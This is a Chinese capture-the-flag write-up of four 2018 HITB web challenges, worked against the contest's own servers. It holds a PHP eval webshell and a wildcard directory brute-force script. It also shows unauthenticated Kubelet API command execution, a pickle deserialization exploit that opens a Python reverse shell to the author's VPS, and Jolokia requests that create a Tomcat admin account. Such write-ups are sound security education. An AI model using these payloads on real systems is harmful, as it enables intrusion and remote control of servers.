2018-XCTF-HITB-WEB

访问题目

http://47.90.97.18:9999/

看到2个功能

upload.php
pic.php

查看pic.php

http://47.90.97.18:9999/pic.php?filename=default.jpg

得到回显

width=497
height=477

发现可以解析图片,这里尝试了一会儿文件包含

发现回显基本都是

image error

后来抓包的时候看到

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/7.0
X-Powered-By: PHP/5.6.35
Date: Fri, 13 Apr 2018 13:30:00 GMT
Connection: close
Content-Length: 18

发现对方是

windows iis7.0

想到一些上传技巧

尝试上传 1.php
(注意,php后有一个空格)

发现成功可以上传php文件,并且由于windows文件名的问题,最后的空格会被去掉,所以

1.php(空格)
会变成 1.php

但是新的问题来了,我们没有上传文件夹路径

后来百度windows 目录爆破的时候发现百度第一条文章

http://www.moonsec.com/post-304.html

其中写道到

已知1.php存在,以上脚本访问的结果是:
1.php
1.phP
1.ph<
1.ph>
都能得到返回。

发现

<
>

可以进行通配

根据这一点继续搜索,发现文章

http://www.freebuf.com/column/164698.html

其中提及dedecms的后台目录爆破方式

...

function my_func($url, $path =''){
    $ch = curl_init($url);
    $i = 48;
    global $version;

        while($i <= 90) {
            if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) {
                if($version != '5.7') {
                    /* v5.6版本及其以下 */
                    $admin_path = './' . $path . chr($i) . '</img/admin_top_logo.gif';
                }
                else {
                    /* v5.7版本 */
                    $admin_path = './' . $path . chr($i) . '</images/admin_top_logo.gif';
                }

                $data = 'dopost=save&_FILES[b4dboy][tmp_name]=' . $admin_path . '&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif';

                $options = array(
                                CURLOPT_USERAGENT => 'Firefox/58.0',
                                CURLOPT_RETURNTRANSFER => true,
                                CURLOPT_POST => true,
                                CURLOPT_POSTFIELDS => $data,
                );

                curl_setopt_array($ch, $options);

                $response = curl_exec($ch);

                if(!preg_match('/(Upload filetype not allow !)/i', $response)) {
                    $path = $path . chr($i);
                    return $path;
                }
            }

            $i++;
        }
...

受到通配爆破的启发,我尝试

http://47.90.97.18:9999/pic.php?filename=../a</default.jpg

发现通配成功

width=497
height=477

得到回显

于是写脚本进行fuzz

# coding=UTF-8
import requests
url = "http://47.90.97.18:9999/pic.php?filename=../"
flag = ""
for i in range(1,100):
    for j in '0123456789abcdefghijklmnopqrstuvwxyz':
        url1 = url+flag+j+'</default.jpg'
        r = requests.get(url=url1)
        if "height" in r.content:
            flag +=j
            print url1
            break

运行后得到目录

87194f13726af7cee27ba2cfe97b60df

后上传一句话木马

<?php 
@eval($_POST['sky']);
 ?>

然后菜刀连接

http://47.90.97.18:9999/87194f13726af7cee27ba2cfe97b60df/1523496144.php

成功拿到flag

<?php
echo "flag is here";
//HITB{e5f476c1e4c6dc66278db95f0b5a228a}
?>

故此拿到flag

HITB{e5f476c1e4c6dc66278db95f0b5a228a}

Baby baby

这题侥幸拿了3血XD

拿到题目后,提示是

This is a pentest challenge, open your mind!

扫了一下端口发现

3个端口开放

然后在9999端口拿到源码

This is a pentest challenge, open your mind!
<img style="width: 300px;" src="jd.png" alt="the picture is unrelated to this challenge, just a advertisement" />

<?php
    eval($__POST["backdoor"]);
?>

发现是在逗我没错了,根本无法使用

后来入手10250端口

发现RR巨佬的文章

https://ricterz.me/posts/Security%20Issues%20of%20Kubelet%20HTTP%28s%29%20Server

发现突破点:

Kubelet 在 10250 端口上提供了一个 HTTPS 的 API,通过这个 API 可以控制

在 Kubelet 的老版本(1.5 之前)不支持认证和授权,这就导致攻击者可以通过访问 10250 端口的 API 来获取容器权限。

而我们可以通过 /runningpods
获取正在运行的 Pod
列表:

于是我尝试指令

http --verify=no https://47.75.146.42:10250/runningpods/

得到回显

HTTP/1.1 200 OK
Content-Type: application/json
Date: Thu, 12 Apr 2018 07:00:22 GMT
Transfer-Encoding: chunked

{
    "apiVersion": "v1", 
    "items": [
        {
            "metadata": {
                "creationTimestamp": null, 
                "name": "kubernetes-dashboard-688193819-svbx3", 
                "namespace": "kube-system", 
                "uid": "958e5dcc-3c7e-11e8-b3d6-00163e0245e7"
            }, 
            "spec": {
                "containers": [
                    {
                        "image": "127.0.0.1:5000/google_containers/kubernetes-dashboard-amd64@sha256:1344175a7b6502e012102c05201d16e572c4daf803f92d2d2c07b0ac8ffb9110", 
                        "name": "kubernetes-dashboard", 
                        "resources": {}
                    }
                ]
            }, 
            "status": {}
        }, 
        {
            "metadata": {
                "creationTimestamp": null, 
                "name": "web-test-4092782360-035qx", 
                "namespace": "esn-system", 
                "uid": "a8f7e307-3e14-11e8-838a-00163e0245e7"
            }, 
            "spec": {
                "containers": [
                    {
                        "image": "127.0.0.1:5000/esn-containers/web_test@sha256:ae129fcd94bd2978db37050f95c62311f5bf9fdbba25817e6e8a098db3a168cf", 
                        "name": "web-test", 
                        "resources": {}
                    }
                ]
            }, 
            "status": {}
        }, 
        {
            "metadata": {
                "creationTimestamp": null, 
                "name": "kube-dns-3757701935-jht7p", 
                "namespace": "kube-system", 
                "uid": "97583356-3c7e-11e8-b3d6-00163e0245e7"
            }, 
            "spec": {
                "containers": [
                    {
                        "image": "127.0.0.1:5000/google_containers/k8s-dns-sidecar-amd64@sha256:1d3b5c493e3c8ff05262192dce1807e19375406d7a159b1c5c463144ad1c47d5", 
                        "name": "sidecar", 
                        "resources": {}
                    }, 
                    {
                        "image": "127.0.0.1:5000/google_containers/k8s-dns-dnsmasq-nanny-amd64@sha256:13f5523c0c2422447167a5aa08a16c07e3c78db113373da312e67a78eb04c981", 
                        "name": "dnsmasq", 
                        "resources": {}
                    }, 
                    {
                        "image": "127.0.0.1:5000/google_containers/k8s-dns-kube-dns-amd64@sha256:bcfbfd0cf6c20b17d6797c1901d17653802b1b2f31d5901698e629f23b9b60e6", 
                        "name": "kubedns", 
                        "resources": {}
                    }
                ]
            }, 
            "status": {}
        }, 
        {
            "metadata": {
                "creationTimestamp": null, 
                "name": "monitoring-grafana-3238376892-r3r57", 
                "namespace": "kube-system", 
                "uid": "96f720d7-3c7e-11e8-b3d6-00163e0245e7"
            }, 
            "spec": {
                "containers": [
                    {
                        "image": "127.0.0.1:5000/google_containers/heapster-grafana-amd64@sha256:0b077080cff3bb20a6e89bdd3b2f05f36479ee1edf7e91732d0578ea57753b33", 
                        "name": "grafana", 
                        "resources": {}
                    }
                ]
            }, 
            "status": {}
        }, 
        {
            "metadata": {
                "creationTimestamp": null, 
                "name": "heapster-3876467971-j942t", 
                "namespace": "kube-system", 
                "uid": "972fc55d-3c7e-11e8-b3d6-00163e0245e7"
            }, 
            "spec": {
                "containers": [
                    {
                        "image": "127.0.0.1:5000/google_containers/heapster-amd64@sha256:fb618adfed191f97b303603df043f75a42f4c1d6a4d625a0ee0cda81890c9fd0", 
                        "name": "heapster", 
                        "resources": {}
                    }
                ]
            }, 
            "status": {}
        }, 
        {
            "metadata": {
                "creationTimestamp": null, 
                "name": "monitoring-influxdb-4196588620-k597p", 
                "namespace": "kube-system", 
                "uid": "977f4ae8-3c7e-11e8-b3d6-00163e0245e7"
            }, 
            "spec": {
                "containers": [
                    {
                        "image": "127.0.0.1:5000/google_containers/heapster-influxdb-amd64@sha256:961319e26e359294ac86294d8029d1c78e697d617ca0d645d3b227a8bd9a7817", 
                        "name": "influxdb", 
                        "resources": {}
                    }
                ]
            }, 
            "status": {}
        }
    ], 
    "kind": "PodList", 
    "metadata": {}
}

不难看到关键点

"metadata": {
                "creationTimestamp": null, 
                "name": "web-test-4092782360-035qx", 
                "namespace": "esn-system", 
                "uid": "a8f7e307-3e14-11e8-838a-00163e0245e7"
            }, 
            "spec": {
                "containers": [
                    {
                        "image": "127.0.0.1:5000/esn-containers/web_test@sha256:ae129fcd94bd2978db37050f95c62311f5bf9fdbba25817e6e8a098db3a168cf", 
                        "name": "web-test", 
                        "resources": {}

这里可以看到几个关键点

pod_name:web-test-4092782360-035qx
namespace:esn-system
container_name:web-test

故此可以使用指令

http --form --verify=no POST https://目标ip:port/run/namespace/pod_name/container_name cmd='ls /'

http --form --verify=no POST https://47.75.146.42:10250/run/esn-system/web-test-4092782360-035qx/web-test cmd='ls /'

进行命令执行

回显

HTTP/1.1 200 OK
Content-Length: 101
Content-Type: application/json
Date: Thu, 12 Apr 2018 07:01:06 GMT

bin
core
dev
etc
flag.txt
home
lib
linuxrc
media
mnt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var

发现成功读取根目录信息

我们直接 cat flag

http --form --verify=no POST https://47.75.146.42:10250/run/esn-system/web-test-4092782360-035qx/web-test cmd='cat /flag.txt'

得到回显

HTTP/1.1 200 OK
Content-Length: 176
Content-Type: application/json
Date: Thu, 12 Apr 2018 07:00:53 GMT

HITB{KKKKKKKKKKKKKKKKKKKKKKKKK}


DO NOT MODIFY ANYTHING.
WE WILL BAN YOUR TEAM IF YOU CHANG FLAG, DELETE FILES, ETC.

如果你修改、删除文件,我们会 ban 掉你 :D

故此拿到flag:

HITB{KKKKKKKKKKKKKKKKKKKKKKKKK}

Python’s revenge

题目直接给出了源码

from __future__ import unicode_literals
from flask import Flask, request, make_response, redirect, url_for, session
from flask import render_template, flash, redirect, url_for, request
from werkzeug.security import safe_str_cmp
from base64 import b64decode as b64d
from base64 import b64encode as b64e
from hashlib import sha256
from cStringIO import StringIO
import random
import string

import os
import sys
import subprocess
import commands
import pickle
import cPickle
import marshal
import os.path
import filecmp
import glob
import linecache
import shutil
import dircache
import io
import timeit
import popen2
import code
import codeop
import pty
import posixfile

SECRET_KEY = 'you will never guess'

if not os.path.exists('.secret'):
    with open(".secret", "w") as f:
        secret = ''.join(random.choice(string.ascii_letters + string.digits)
                         for x in range(4))
        f.write(secret)
with open(".secret", "r") as f:
    cookie_secret = f.read().strip()

app = Flask(__name__)
app.config.from_object(__name__)

black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]


@app.before_request
def count():
    session['cnt'] = 0


@app.route('/')
def home():
    remembered_str = 'Hello, here/'s what we remember for you. And you can change, delete or extend it.'
    new_str = 'Hello fellow zombie, have you found a tasty brain and want to remember where? Go right here and enter it:'
    location = getlocation()
    if location == False:
        return redirect(url_for("clear"))
    return render_template('index.html', txt=remembered_str, location=location)


@app.route('/clear')
def clear():
    flash("Reminder cleared!")
    response = redirect(url_for('home'))
    response.set_cookie('location', max_age=0)
    return response


@app.route('/reminder', methods=['POST', 'GET'])
def reminder():
    if request.method == 'POST':
        location = request.form["reminder"]
        if location == '':
            flash("Message cleared, tell us when you have found more brains.")
        else:
            flash("We will remember where you find your brains.")
        location = b64e(pickle.dumps(location))
        cookie = make_cookie(location, cookie_secret)
        response = redirect(url_for('home'))
        response.set_cookie('location', cookie)
        return response
    location = getlocation()
    if location == False:
        return redirect(url_for("clear"))
    return render_template('reminder.html')


class FilterException(Exception):
    def __init__(self, value):
        super(FilterException, self).__init__(
            'The callable object {value} is not allowed'.format(value=str(value)))


class TimesException(Exception):
    def __init__(self):
        super(TimesException, self).__init__(
            'Call func too many times!')


def _hook_call(func):
    def wrapper(*args, **kwargs):
        session['cnt'] += 1
        print session['cnt']
        print args[0].stack
        for i in args[0].stack:
            if i in black_type_list:
                raise FilterException(args[0].stack[-2])
            if session['cnt'] > 4:
                raise TimesException()
        return func(*args, **kwargs)
    return wrapper


def loads(strs):
    reload(pickle)
    files = StringIO(strs)
    unpkler = pickle.Unpickler(files)
    unpkler.dispatch[pickle.REDUCE] = _hook_call(
        unpkler.dispatch[pickle.REDUCE])
    return unpkler.load()


def getlocation():
    cookie = request.cookies.get('location')
    if not cookie:
        return ''
    (digest, location) = cookie.split("!")
    if not safe_str_cmp(calc_digest(location, cookie_secret), digest):
        flash("Hey! This is not a valid cookie! Leave me alone.")
        return False
    location = loads(b64d(location))
    return location


def make_cookie(location, secret):
    return "%s!%s" % (calc_digest(location, secret), location)


def calc_digest(location, secret):
    return sha256("%s%s" % (location, secret)).hexdigest()


if __name__ == '__main__':
    app.run(host="0.0.0.0", port=5051)

发现与强网杯的类似

参考链接

http://skysec.top/2018/04/01/Python-is-the-best-language/

注意到getlocation()函数中反序列化操作

location = loads(b64d(location))

跟location的由来

location = request.form["reminder"]
        if location == '':
            flash("Message cleared, tell us when you have found more brains.")
        else:
            flash("We will remember where you find your brains.")
        location = b64e(pickle.dumps(location))
        cookie = make_cookie(location, cookie_secret)
        response = redirect(url_for('home'))
        response.set_cookie('location', cookie)

然后生成的cookie

def getlocation():
    cookie = request.cookies.get('location')
    if not cookie:
        return ''
    (digest, location) = cookie.split("!")
    if not safe_str_cmp(calc_digest(location, cookie_secret), digest):
        flash("Hey! This is not a valid cookie! Leave me alone.")
        return False
    location = loads(b64d(location))

最后发现只要能控制cookie即可随意更改反序列化的值

但是问题来了,没有

cookie_secret

跟一下发现

if not os.path.exists('.secret'):
    with open(".secret", "w") as f:
        secret = ''.join(random.choice(string.ascii_letters + string.digits)
                         for x in range(4))
        f.write(secret)
with open(".secret", "r") as f:
    cookie_secret = f.read().strip()

cookie_secret只有4位的长度,很快就能爆破出来

我们写脚本

from hashlib import sha256
import pickle
import cPickle
from base64 import b64decode as b64d
from base64 import b64encode as b64e
import random
import string
def make_cookie(location, secret):
    return "%s!%s" % (calc_digest(location, secret), location)

def calc_digest(location, secret):
    return sha256("%s%s" % (location, secret)).hexdigest()

for x1 in string.ascii_letters + string.digits:
    for x2 in string.ascii_letters + string.digits:
        for x3 in string.ascii_letters + string.digits:
            for x4 in string.ascii_letters + string.digits:
                cookie_secret = x1+x2+x3+x4
                location = "VjExMQpwMAou"
                cookie = make_cookie(location, cookie_secret)
                #print cookie
                if cookie == "73ec41cd2804d3ad0a606c66d02d9d2234ba4ff0c4dc02f69555157beab99d9f!VjExMQpwMAou":
                    print cookie_secret
                    break

运行得到cookie_secret

hitb

然后就是构造类,bypass沙盒黑名单了

注意到黑名单未过滤

platform.popen

于是构造类

class Exploit(object):
    def __reduce__(self):
 		return (platform.popen,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((/"127.0.0.1/",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([/"/bin/sh/",/"-i/"]);'",)) 
def serialize_exploit():
    shellcode = pickle.dumps(Exploit())
    return shellcode

最后脚本

import pickle
import platform
from base64 import b64encode as b64e
import string
from hashlib import sha256

def make_cookie(location, secret):
    return "%s!%s" % (calc_digest(location, secret), location)

def calc_digest(location, secret):
    return sha256("%s%s" % (location, secret)).hexdigest()
class Exploit(object):
    def __reduce__(self):
 		return (platform.popen,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((/"你的vps/",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([/"/bin/sh/",/"-i/"]);'",)) 
def serialize_exploit():
    shellcode = pickle.dumps(Exploit())
    return shellcode

location = b64e(serialize_exploit())
cookie_secret = "hitb"
cookie = make_cookie(location, cookie_secret)
print cookie

运行得到

6c9bb5a6c403532334724160875f921baef27b8e8be27d0a3db3d49dd84d8ee4!Y3BsYXRmb3JtCnBvcGVuCnAwCihTJ3B5dGhvbiAtYyBcJ2ltcG9ydCBzb2NrZXQsc3VicHJvY2VzcyxvcztzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKCIxMjcuMC4wLjEiLDIzMzMzKSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKTtcJycKcDEKdHAyClJwMwou

接着在你的vps上打开端口监听

nc -l -vv -p 23333

然后更改cookie中的location为此值,刷新页面得到

<open file 'python -c /'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("138.68.225.135",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);/'', mode 'r' at 0x7fdb5f9e1c00>

查看vps端口监听

Listening on [0.0.0.0] (family 0, port 23333)
Connection from [47.75.151.118] port 23333 [tcp/*] accepted (family 2, sport 52880)
/bin/sh: 0: can't access tty; job control turned off
$

发现收到shell

执行命令

$ ls
app.py
app.pyc
run.py
run.pyc
static
templates

发现成功

于是探寻flag

$ cd ..
$ ls
bin
boot
dev
easy_sandbox
etc
flag_is_here
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag_is_here
HITB{Py5h0n1st8eBe3tNOW}

最后成功拿到flag

HITB{Py5h0n1st8eBe3tNOW}

Baby Nya

看到提示

the tomcat deployed jolokia.war

扫描端口,看见

端口开放

根据文章

https://ionize.com.au/exploiting-apache-tomcat-port-8009-using-apache-jserv-protocol/

进行如下操作

Step 1: Install the Dependencies
The first line installs the mod-jk package which allows Apache to forward requests to Tomcat using the AJP protocol. It can communication to Tomcat on the local machine or to a remote instance. The second line enables the proxy_ajp module and required dependencies automatically.

指令

apt install libapache2-mod-jk
a2enmod proxy_ajp

然后

Step 2: Configure Apache
Next create a configuration file in /etc/apache2/sites-enabled/ which will hold our proxy setup, I’ve named mine ajp.conf.

文件内容

ProxyRequests Off
# Only allow localhost to proxy requests
<Proxy *>
Order deny,allow
Deny from all
Allow from localhost
</Proxy>
# Change the IP address in the below lines to the remote servers IP address hosting the Tomcat instance
ProxyPass                 / ajp://192.168.109.134:8009/
ProxyPassReverse    / ajp://192.168.109.134:8009/

然后重启apache2,接着指令

systemctl start apache2

即可在本地访问到题目的8009端口

后来看到这样一篇文章

https://ricterz.me/posts/Exploiting%20Jolokia%20Agent%20with%20Java%20EE%20Servers

发现可以添加管理员用户

// 创建 manager-gui
{
    "type": "EXEC",
    "mbean": "Users:database=UserDatabase,type=UserDatabase",
    "operation": "createRole",
    "arguments": ["manager-gui", ""]
}
// 创建用户
{
    "type": "EXEC",
    "mbean": "Users:database=UserDatabase,type=UserDatabase",
    "operation": "createUser",
    "arguments": ["test233", "test233", ""]
}
// 增加角色
{
    "type": "EXEC",
    "mbean": "Users:database=UserDatabase,type=User,username=/"test233/"",
    "operation": "addRole",
    "arguments": ["manager-gui"]
}

接着利用 test233 / test233 登陆即可

最后直接在

/manager/html

看到flag

原文 

http://skysec.top/2018/04/13/2018-XCTF-HITB-WEB/

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